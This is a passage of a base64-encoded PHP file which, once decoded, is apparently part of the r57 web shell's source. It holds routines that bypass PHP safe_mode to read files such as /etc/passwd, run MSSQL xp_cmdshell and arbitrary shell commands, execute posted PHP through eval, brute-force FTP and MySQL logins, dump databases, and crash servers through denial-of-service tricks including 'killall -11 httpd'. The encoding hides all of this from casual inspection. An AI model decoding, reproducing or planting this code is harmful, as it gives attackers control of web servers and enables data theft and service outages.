QGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWyd0ZXN0MV9maWxlJ10pOw0KJGNmID0gQGN1cmxf ZXhlYygkY2kpOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjZik7DQpicmVhazsNCmNhc2UgJ3Rl c3QyJzoNCkBpbmNsdWRlKCRfUE9TVFsndGVzdDJfZmlsZSddKTsNCmJyZWFrOw0KY2FzZSAndGVz dDMnOg0KaWYoZW1wdHkoJF9QT1NUWyd0ZXN0M19wb3J0J10pKSB7JF9QT1NUWyd0ZXN0M19wb3J0 J10gPSAiMzMwNiI7fQ0KJGRiID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdDonLiRfUE9TVFsn dGVzdDNfcG9ydCddLCRfUE9TVFsndGVzdDNfbWwnXSwkX1BPU1RbJ3Rlc3QzX21wJ10pOw0KaWYo JGRiKQ0Kew0KaWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3QzX21kJ10sJGRiKSkNCnsN CkBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdGVtcF9yNTdfdGFibGUiKTsNCkBt eXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0ZW1wX3I1N190YWJsZWAgKCBgZmlsZWAgTE9OR0JM T0IgTk9UIE5VTEwgKSIpOw0KQG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgSU5GSUxFIFwiIi4kX1BP U1RbJ3Rlc3QzX2ZpbGUnXS4iXCIgSU5UTyBUQUJMRSB0ZW1wX3I1N190YWJsZSIpOw0KJHIgPSBA bXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGVtcF9yNTdfdGFibGUiKTsNCndoaWxlKCgkcl9z cWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkge2VjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJf c3FsWzBdKS4iXHJcbiI7fQ0KQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1w X3I1N190YWJsZSIpOw0KfQ0KZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRh YmFzZSI7DQpAbXlzcWxfY2xvc2UoJGRiKTsNCn0NCmVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4n dCBjb25uZWN0IHRvIG15c3FsIHNlcnZlciI7DQpicmVhazsNCmNhc2UgJ3Rlc3Q0JzoNCmlmKGVt cHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKSkgeyRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMi O30NCiRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQn XSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsNCmlmKCRkYikNCnsNCmlm KEBtc3NxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0NF9tZCddLCRkYikpDQp7DQpAbXNzcWxfcXVl cnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7DQpAbXNzcWxfcXVlcnkoImNyZWF0 ZSB0YWJsZSByNTdfdGVtcF90YWJsZSAoIHN0cmluZyBWQVJDSEFSICg1MDApIE5VTEwpIiwkZGIp Ow0KQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byByNTdfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5k Ym8ueHBfY21kc2hlbGwgJyIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQokcmVzID0g bXNzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gcjU3X3RlbXBfdGFibGUiLCRkYik7DQp3aGlsZSgo JHJvdz1AbXNzcWxfZmV0Y2hfcm93KCRyZXMpKSkNCnsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygk cm93WzBdKS4iXHJcbiI7DQp9DQpAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFi bGUiLCRkYik7DQp9DQplbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNl IjsNCkBtc3NxbF9jbG9zZSgkZGIpOw0KfQ0KZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNv bm5lY3QgdG8gTVNTUUwgc2VydmVyIjsNCmJyZWFrOw0KY2FzZSAndGVzdDUnOg0KJHRlbXA9dGVt cG5hbSgkZGlyLCJmbmFtZSIpOw0KaWYgKEBmaWxlX2V4aXN0cygkdGVtcCkpIEB1bmxpbmsoJHRl bXApOw0KJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAkdGVtcCI7DQpA bWJfc2VuZF9tYWlsKE5VTEwsTlVMTCxOVUxMLE5VTEwsJGV4dHJhKTsNCiRzdHIgPSBtb3JlcmVh ZCgkdGVtcCk7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7DQpAdW5saW5rKCR0ZW1wKTsN CmJyZWFrOw0KY2FzZSAndGVzdDYnOg0KJHN0cmVhbSA9IEBpbWFwX29wZW4oJy9ldGMvcGFzc3dk JywiIiwiIik7DQokZGlyX2xpc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sdHJpbSgkX1BPU1RbJ3Rl c3Q2X2ZpbGUnXSksIioiKTsNCmZvciAoJGkgPSAwOyRpIDxjb3VudCgkZGlyX2xpc3QpOyRpKysp IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGlyX2xpc3RbJGldKS4iXHJcbiI7DQpAaW1hcF9jbG9z ZSgkc3RyZWFtKTsNCmJyZWFrOw0KY2FzZSAndGVzdDcnOg0KJHN0cmVhbSA9IEBpbWFwX29wZW4o JF9QT1NUWyd0ZXN0N19maWxlJ10sIiIsIiIpOw0KJHN0ciA9IEBpbWFwX2JvZHkoJHN0cmVhbSwx KTsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCkBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0K YnJlYWs7DQpjYXNlICd0ZXN0OCc6DQokdGVtcD1AdGVtcG5hbSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUy J10sImNvcHl0ZW1wIik7DQokc3RyID0gcmVhZHpsaWIoJF9QT1NUWyd0ZXN0OF9maWxlMSddLCR0 ZW1wKTsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCkB1bmxpbmsoJHRlbXApOw0KYnJl YWs7DQpjYXNlICd0ZXN0OSc6DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KQGluaV9yZXN0 b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCiRzdHIgPSBtb3JlcmVhZCgkX1BPU1RbJ3Rlc3Q5X2ZpbGUn XSk7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7DQpicmVhazsNCmNhc2UgJ3Rlc3QxMCc6 DQpAb2JfY2xlYW4oKTsNCiRlcnJvcl9yZXBvcnRpbmcgPSBAaW5pX2dldCgnZXJyb3JfcmVwb3J0 aW5nJyk7DQplcnJvcl9yZXBvcnRpbmcoRV9BTEwgXkVfTk9USUNFKTsNCkBpbmlfc2V0KCJkaXNw bGF5X2Vycm9ycyIsMSk7DQokc3RyPWZvcGVuKCRfUE9TVFsndGVzdDEwX2ZpbGUnXSwiciIpOw0K d2hpbGUoIWZlb2YoJHN0cikpe3ByaW50IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJHN0cikpO30N CmZjbG9zZSgkc3RyKTsNCmVycm9yX3JlcG9ydGluZygkZXJyb3JfcmVwb3J0aW5nKTsNCmJyZWFr Ow0KY2FzZSAndGVzdDExJzoNCkBvYl9jbGVhbigpOw0KJHRlbXAgPSAnemlwOi8vJy4kX1BPU1Rb J3Rlc3QxMV9maWxlJ107DQokc3RyID0gbW9yZXJlYWQoJHRlbXApOw0KZWNobyBodG1sc3BlY2lh bGNoYXJzKCRzdHIpOw0KYnJlYWs7DQpjYXNlICd0ZXN0MTInOg0KQG9iX2NsZWFuKCk7DQokdGVt cCA9ICdjb21wcmVzcy5iemlwMjovLycuJF9QT1NUWyd0ZXN0MTJfZmlsZSddOw0KJHN0ciA9IG1v cmVyZWFkKCR0ZW1wKTsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCmJyZWFrOw0KY2Fz ZSAndGVzdDEzJzoNCkBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSwzLCJwaHA6Ly8u Li8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndGVzdDEzX2ZpbGUyJ10p Ow0KZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsNCmJyZWFrOw0KY2FzZSAndGVzdDE0 JzoNCkBzZXNzaW9uX3NhdmVfcGF0aCgkX1BPU1RbJ3Rlc3QxNF9maWxlMiddLiJcMDsvdG1wIik7 DQpAc2Vzc2lvbl9zdGFydCgpOw0KQCRfU0VTU0lPTltwaHBdPSRfUE9TVFsndGVzdDE0X2ZpbGUx J107DQplY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOw0KYnJlYWs7DQpjYXNlICd0ZXN0 MTUnOg0KQHJlYWRmaWxlKCRfUE9TVFsndGVzdDE1X2ZpbGUxJ10sMywicGhwOi8vLi4vLi4vLi4v Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTsNCmVjaG8g JGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQpicmVhazsNCmNhc2UgJ3Rlc3QxNic6DQppZiAo Zm9wZW4oJ3NycGF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NU Wyd0ZXN0MTZfZmlsZSddLCJhIikpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQpi cmVhazsNCmNhc2UgJ3Rlc3QxN18xJzoNCkB1bmxpbmsoJ3N5bWxpbmtyZWFkJyk7DQpAc3ltbGlu aygnYS9hL2EvYS9hL2EvJywnZHVtbXknKTsNCkBzeW1saW5rKCdkdW1teS8uLi8uLi8uLi8uLi8u Li8uLi8uLi8uLi8uLi8uLi8uLi8nLiRfUE9TVFsndGVzdDE3X2ZpbGUnXSwnc3ltbGlua3JlYWQn KTsNCkB1bmxpbmsoJ2R1bW15Jyk7DQp3aGlsZSAoMSkgDQp7DQpAc3ltbGluaygnLicsJ2R1bW15 Jyk7DQpAdW5saW5rKCdkdW1teScpOw0KfQ0KYnJlYWs7DQpjYXNlICd0ZXN0MTdfMic6DQokc3Ry PScnOw0Kd2hpbGUgKHN0cmxlbigkc3RyKSA8Mykgew0KJHRlbXAgPSAnc3ltbGlua3JlYWQnOw0K JHN0ciA9IG1vcmVyZWFkKCR0ZW1wKTsNCmlmKCRzdHIpe0BvYl9jbGVhbigpO2VjaG8gaHRtbHNw ZWNpYWxjaGFycygkc3RyKTt9DQp9DQpicmVhazsNCmNhc2UgJ3Rlc3QxN18zJzoNCiRkaXIgPSAk ZmlsZXMgPSBhcnJheSgpOw0KaWYoQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjAu MCIpPj0wKXsNCndoaWxlIChAY291bnQoJGRpcikgPDMpIHsNCiRkaXI9QHNjYW5kaXIoJ3N5bWxp bmtyZWFkJyk7DQppZiAoQGNvdW50KCRkaXIpID4yKSB7QG9iX2NsZWFuKCk7QHByaW50X3IoJGRp cik7fQ0KfQ0KfQ0KZWxzZSB7DQp3aGlsZSAoQGNvdW50KCRmaWxlcykgPDMpIHsNCiRkaCAgPSBA b3BlbmRpcignc3ltbGlua3JlYWQnKTsNCndoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IEBy ZWFkZGlyKCRkaCkpKSB7DQokZmlsZXNbXSA9ICRmaWxlbmFtZTsNCn0NCmlmKEBjb3VudCgkZmls ZXMpID4yKXtAb2JfY2xlYW4oKTtAcHJpbnRfcigkZmlsZXMpO30NCn0NCn0NCmJyZWFrOw0KfQ0K fQ0KaWYoKCEkc2FmZV9tb2RlKSAmJigkX1BPU1RbJ2NtZCddIT0icGhwX2V2YWwiKSAmJigkX1BP U1RbJ2NtZCddIT0ibXlzcWxfZHVtcCIpICYmKCRfUE9TVFsnY21kJ10hPSJkYl9xdWVyeSIpICYm KCRfUE9TVFsnY21kJ10hPSJmdHBfYnJ1dGUiKSAmJigkX1BPU1RbJ2NtZCddIT0iZGJfYnJ1dGUi KSl7DQokY21kX3JlcCA9IGV4KCRfUE9TVFsnY21kJ10pOw0KaWYoISR1bml4KSB7ZWNobyBAaHRt bHNwZWNpYWxjaGFycyhAY29udmVydF9jeXJfc3RyaW5nKCRjbWRfcmVwLCdkJywndycpKS4iXG4i O30NCmVsc2Uge2VjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7fX0NCnN3aXRj aCgkX1BPU1RbJ2NtZCddKQ0Kew0KY2FzZSAnZG9zMSc6DQpmdW5jdGlvbiBhKCkge2EoKTt9YSgp Ow0KYnJlYWs7DQpjYXNlICdkb3MyJzoNCkBwYWNrKCJkNDI5NDk2NzI5NyIsMik7DQpicmVhazsN CmNhc2UgJ2RvczMnOg0KJGEgPSAiYSI7QHVuc2VyaWFsaXplKEBzdHJfcmVwbGFjZSgnMScsMjE0 NzQ4MzY0NyxAc2VyaWFsaXplKCRhKSkpOw0KYnJlYWs7DQpjYXNlICdkb3M0JzoNCiR0ID0gYXJy YXkoMSk7d2hpbGUgKDEpIHskYVtdID0gJiR0O307DQpicmVhazsNCmNhc2UgJ2RvczUnOg0KQGRs KCJzcWxpdGUuc28iKTskZGIgPSBuZXcgU3FsaXRlRGF0YWJhc2UoImZvbyIpOw0KYnJlYWs7DQpj YXNlICdkb3M2JzoNCnByZWdfbWF0Y2goJy8oLig/IWIpKSovJyxAc3RyX3JlcGVhdCgiYSIsMTAw MDApKTsNCmJyZWFrOw0KY2FzZSAnZG9zNyc6DQpAc3RyX3JlcGxhY2UoIkEiLHN0cl9yZXBlYXQo IkIiLDY1NTM1KSxzdHJfcmVwZWF0KCJBIiw2NTUzOCkpOw0KYnJlYWs7DQpjYXNlICdkb3M4JzoN CkBzaGVsbF9leGVjKCJraWxsYWxsIC0xMSBodHRwZCIpOw0KYnJlYWs7DQpjYXNlICdkb3M5JzoN CmZ1bmN0aW9uIGN4KCl7QHRlbXBuYW0oIi93d3cvIiwiLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3Rt cC9jeCIpO2N4KCk7fWN4KCk7DQpicmVhazsNCmNhc2UgJ2RvczEwJzoNCiRhID0gQHN0cl9yZXBl YXQgKCJBIiw0MzgwMTMpOyRiID0gQHN0cl9yZXBlYXQgKCJCIiw5NTExNDApO0B3b3Jkd3JhcCAo JGEsMCwkYiwwKTsNCmJyZWFrOw0KY2FzZSAnZG9zMTEnOg0KQGFycmF5X2ZpbGwoMSwxMjM0NTY3 ODksIkluZmlnby1JUyIpOw0KYnJlYWs7DQpjYXNlICdkb3MxMic6DQpAc3Vic3RyX2NvbXBhcmUo IkEiLCJBIiwxMjM0NTY3OCk7DQpicmVhazsNCmNhc2UgJ2RvczEzJzoNCkB1bnNlcmlhbGl6ZSgi YToyMTQ3NDgzNjQ5OnsiKTsNCmJyZWFrOw0KY2FzZSAnZG9zMTQnOg0KJERhdGEgPSBAc3RyX2ly ZXBsYWNlKCJcbiIsIjxicj4iLCREYXRhKTsNCmJyZWFrOw0KY2FzZSAnZG9zMTUnOg0KZnVuY3Rp b24gdG9VVEYoJHgpIHtyZXR1cm4gY2hyKCgkeCA+PjYpICsxOTIpIC5jaHIoKCR4ICY2MykgKzEy OCk7fQ0KJHN0cjEgPSAiIjtmb3IoJGk9MDskaSA8NjQ7JGkrKyl7JHN0cjEgLj0gdG9VVEYoOTc3 KTt9DQpAaHRtbGVudGl0aWVzKCRzdHIxLEVOVF9OT1FVT1RFUywiVVRGLTgiKTsNCmJyZWFrOw0K Y2FzZSAnZG9zMTYnOg0KJHIgPSBAemlwX29wZW4oInguemlwIik7JGUgPSBAemlwX3JlYWQoJHIp OyR4ID0gQHppcF9lbnRyeV9vcGVuKCRyLCRlKTsNCmZvciAoJGk9MDskaTwxMDAwOyRpKyspICRh cnJbJGldPWFycmF5KGFycmF5KCIiKSk7DQp1bnNldCgkYXJyWzYwMF0pO0B6aXBfZW50cnlfcmVh ZCgkZSwtMSk7dW5zZXQoJGFycls2MDFdKTsNCmJyZWFrOw0KY2FzZSAnZG9zMTcnOg0KJHogPSAi VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVUiOw0KJHkgPSAiRERERERERERERERERERERERERERERERERERERERE REREREREREREREREREREREREREREREREREREREREREREREREREREREREREQiOw0KJHggPSAiQVEg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAiOw0KdW5zZXQoJHopO3Vuc2V0KCR5KTskeCA9IGJhc2U2NF9kZWNvZGUo JHgpOyR5ID0gQHNxbGl0ZV91ZGZfZGVjb2RlX2JpbmFyeSgkeCk7dW5zZXQoJHgpOw0KYnJlYWs7 DQpjYXNlICdkb3MxOCc6DQokTVNHS0VZID0gNTE5MDUyOyRtc2dfaWQgPSBAbXNnX2dldF9xdWV1 ZSAoJE1TR0tFWSwwNjAwKTsNCmlmICghQG1zZ19zZW5kICgkbXNnX2lkLDEsJ0FBQUFCQkJCQ0ND Q0RERERFRUVFRkZGRkdHR0dISEhIJyxmYWxzZSx0cnVlLCRtc2dfZXJyKSkgDQplY2hvICJNc2cg bm90IHNlbnQgYmVjYXVzZSAkbXNnX2VyclxuIjsNCmlmIChAbXNnX3JlY2VpdmUgKCRtc2dfaWQs MSwkbXNnX3R5cGUsMHhmZmZmZmZmZiwkX1NFU1NJT04sZmFsc2UsMCwkbXNnX2Vycm9yKSkgew0K ZWNobyAiJG1zZ1xuIjsNCn1lbHNlIHtlY2hvICJSZWNlaXZlZCAkbXNnX2Vycm9yIGZldGNoaW5n IG1lc3NhZ2VcbiI7YnJlYWs7fQ0KQG1zZ19yZW1vdmVfcXVldWUgKCRtc2dfaWQpOw0KYnJlYWs7 DQpjYXNlICdkb3MxOSc6DQokdXJsID0gInBocDovL2ZpbHRlci9yZWFkPU9GRl9CWV9PTkUuL3Jl c291cmNlPS9ldGMvcGFzc3dkIjtAZm9wZW4oJHVybCwiciIpOw0KYnJlYWs7DQpjYXNlICdkb3My MCc6DQokaGFzaHRhYmxlID0gc3RyX3JlcGVhdCgiQSIsMzkpOw0KJGhhc2h0YWJsZVs1KjQrMF09 Y2hyKDB4NTgpOyRoYXNodGFibGVbNSo0KzFdPWNocigweDQwKTskaGFzaHRhYmxlWzUqNCsyXT1j aHIoMHgwNik7JGhhc2h0YWJsZVs1KjQrM109Y2hyKDB4MDgpOw0KJGhhc2h0YWJsZVs4KjQrMF09 Y2hyKDB4NjYpOyRoYXNodGFibGVbOCo0KzFdPWNocigweDc3KTskaGFzaHRhYmxlWzgqNCsyXT1j aHIoMHg4OCk7JGhhc2h0YWJsZVs4KjQrM109Y2hyKDB4OTkpOw0KJHN0ciA9ICdhOjEwMDAwMDp7 czo4OiJBQUFBQkJCQiI7YTozOntzOjEyOiIwMTIzNDU2Nzg5QUEiO2E6MTp7czoxMjoiQUFBQUJC QkJDQ0NDIjtpOjA7fXM6MTI6IjAxMjM0NTY3OEFBQSI7aTowO3M6MTI6IjAxMjM0NTY3OEJBTiI7 aTowO30nOw0KZm9yICgkaT0wOyRpPDY1NTM1OyRpKyspIHskc3RyIC49ICdpOjA7UjoyOyc7fQ0K JHN0ciAuPSAnczozOToiWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYIjtz OjM5OiInLiRoYXNodGFibGUuJyI7aTowO1I6MzsnOw0KQHVuc2VyaWFsaXplKCRzdHIpOw0KYnJl YWs7DQp9DQppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7DQokZXZhbCA9IEBzdHJfcmVw bGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7DQokZXZhbCA9IEBzdHJfcmVwbGFjZSgi Pz4iLCIiLCRldmFsKTsNCkBldmFsKCRldmFsKTt9DQppZiAoJF9QT1NUWydjbWQnXT09ImZ0cF9i cnV0ZSIpDQp7DQokc3VjID0gMDsNCmlmKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2Qn KXsNCmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0Kew0KJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5l Y3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCmlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24s JHVzZXIsJHVzZXIpKSB7ZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyRzdWMr Kzt9DQplbHNlIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkge2lmKEBmdHBfbG9naW4oJGNv bm5lY3Rpb24sJHVzZXIsc3RycmV2KCR1c2VyKSkpIHtlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYo JHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7JHN1YysrO319DQpAZnRwX2Nsb3NlKCRjb25uZWN0aW9u KTsNCn0NCn1lbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0nZGljJykgJiZpc3NldCgk X1BPU1RbJ2Z0cF9sb2dpbiddKSl7DQpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikNCnsNCiRjb25u ZWN0aW9uID0gQGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQppZihAZnRw X2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJHVzZXIpKSB7ZWNobyAiWytd ICIuJF9QT1NUWydmdHBfbG9naW4nXS4iOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyRzdWMrKzt9DQpA ZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCn0NCn0NCmVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7DQokY291bnQgPSBjb3VudCgkdXNlcnMpOw0KaWYo aXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pICYmKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNz d2QnKSkgeyRjb3VudCAqPSAyO30NCmVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNv dW50LiJcclxuIjsNCmVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7 DQp9DQppZiAoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIikNCnsNCiRzdWMgPSAwOw0KaWYoJF9Q T1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpew0KZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIp DQp7DQokc3FsID0gbmV3IG15X3NxbCgpOw0KJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiRz cWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJf cG9ydCddOw0KJHNxbC0+dXNlciA9ICR1c2VyOw0KJHNxbC0+cGFzcyA9ICR1c2VyOw0KaWYoJHNx bC0+Y29ubmVjdCgpKSB7ZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyRzdWMr Kzt9DQp9DQppZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpDQp7DQpmb3JlYWNoKCR1c2VycyBh cyAkdXNlcikNCnsNCiRzcWwgPSBuZXcgbXlfc3FsKCk7DQokc3FsLT5kYiAgID0gJF9QT1NUWydk YiddOw0KJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQokc3FsLT5wb3J0ID0gJF9Q T1NUWydkYl9wb3J0J107DQokc3FsLT51c2VyID0gJHVzZXI7DQokc3FsLT5wYXNzID0gc3RycmV2 KCR1c2VyKTsNCmlmKCRzcWwtPmNvbm5lY3QoKSkge2VjaG8gIlsrXSAkdXNlcjoiLnN0cnJldigk dXNlcikuIiAtIHN1Y2Nlc3NcclxuIjskc3VjKys7fQ0KfQ0KfQ0KfWVsc2UgaWYoKCRfUE9TVFsn YnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJmlzc2V0KCRfUE9TVFsnbXlzcWxfbCddKSl7DQpmb3Jl YWNoKCR1c2VycyBhcyAkdXNlcikNCnsNCiRzcWwgPSBuZXcgbXlfc3FsKCk7DQokc3FsLT5kYiAg ID0gJF9QT1NUWydkYiddOw0KJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQokc3Fs LT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQokc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9s J107DQokc3FsLT5wYXNzID0gJHVzZXI7DQppZigkc3FsLT5jb25uZWN0KCkpIHtlY2hvICJbK10g Ii4kX1BPU1RbJ215c3FsX2wnXS4iOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyRzdWMrKzt9DQp9DQp9 DQplY2hvICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOw0K JGNvdW50ID0gY291bnQoJHVzZXJzKTsNCmlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSAmJigk X1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykpIHskY291bnQgKj0gMjt9DQplY2hvICRs YW5nWyRsYW5ndWFnZS4nX3RleHQ5NyddLiRjb3VudC4iXHJcbiI7DQplY2hvICRsYW5nWyRsYW5n dWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KfQ0KaWYgKCRfUE9TVFsnY21kJ109PSJteXNx bF9kdW1wIikNCnsNCmlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7JGZwID0gQGZvcGVuKCRfUE9T VFsnZGlmX25hbWUnXSwidyIpO30NCiRzcWwgPSBuZXcgbXlfc3FsKCk7DQokc3FsLT5kYiAgID0g JF9QT1NUWydkYiddOw0KJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQokc3FsLT5w b3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQokc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107 DQokc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107DQokc3FsLT5iYXNlID0gJF9QT1NUWydt eXNxbF9kYiddOw0KaWYoISRzcWwtPmNvbm5lY3QoKSkge2VjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qg Y29ubmVjdCB0byBTUUwgc2VydmVyIjt9DQplbHNlIGlmKCEkc3FsLT5zZWxlY3RfZGIoKSkge2Vj aG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjt9DQplbHNlIGlmKCEkc3FsLT5k dW1wKCRfUE9TVFsnbXlzcWxfdGJsJ10pKSB7ZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjcmVhdGUg ZHVtcCI7fQ0KZWxzZSB7DQppZihlbXB0eSgkX1BPU1RbJ2RpZiddKSkge2ZvcmVhY2goJHNxbC0+ ZHVtcCBhcyAkdikgZWNobyAkdi4iXHJcbiI7fQ0KZWxzZSBpZigkZnAgfHxAZnVuY3Rpb25fZXhp c3RzKCdmaWxlX3B1dF9jb250ZW50cycpKXtmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpe0Bmd3Jp dGUoJGZwLCR2LiJcclxuIikgb3IgQGZwdXRzKCRmcCwkdi4iXHJcbiIpIG9yIEBmaWxlX3B1dF9j b250ZW50cygkX1BPU1RbJ2RpZl9uYW1lJ10sJHYuIlxyXG4iKTt9fQ0KZWxzZSB7ZWNobyAiWy1d IEVSUk9SISBDYW4ndCB3cml0ZSBpbiBkdW1wIGZpbGUiO30NCn0NCn0NCmVjaG8gIjwvdGV4dGFy ZWE+PC9kaXY+IjsNCmVjaG8gIjwvYj4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmVj aG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KZnVu Y3Rpb24gZGl2X3RpdGxlKCR0aXRsZSwkaWQpDQp7DQpyZXR1cm4gJzxhIHN0eWxlPSJjdXJzb3I6 IHBvaW50ZXI7IiBvbkNsaWNrPSJjaGFuZ2VfZGl2c3QoXCcnLiRpZC4nXCcpOyI+Jy4kdGl0bGUu JzwvYT4nOw0KfQ0KZnVuY3Rpb24gZGl2KCRpZCkNCnsNCmlmKGlzc2V0KCRfQ09PS0lFWyRpZF0p 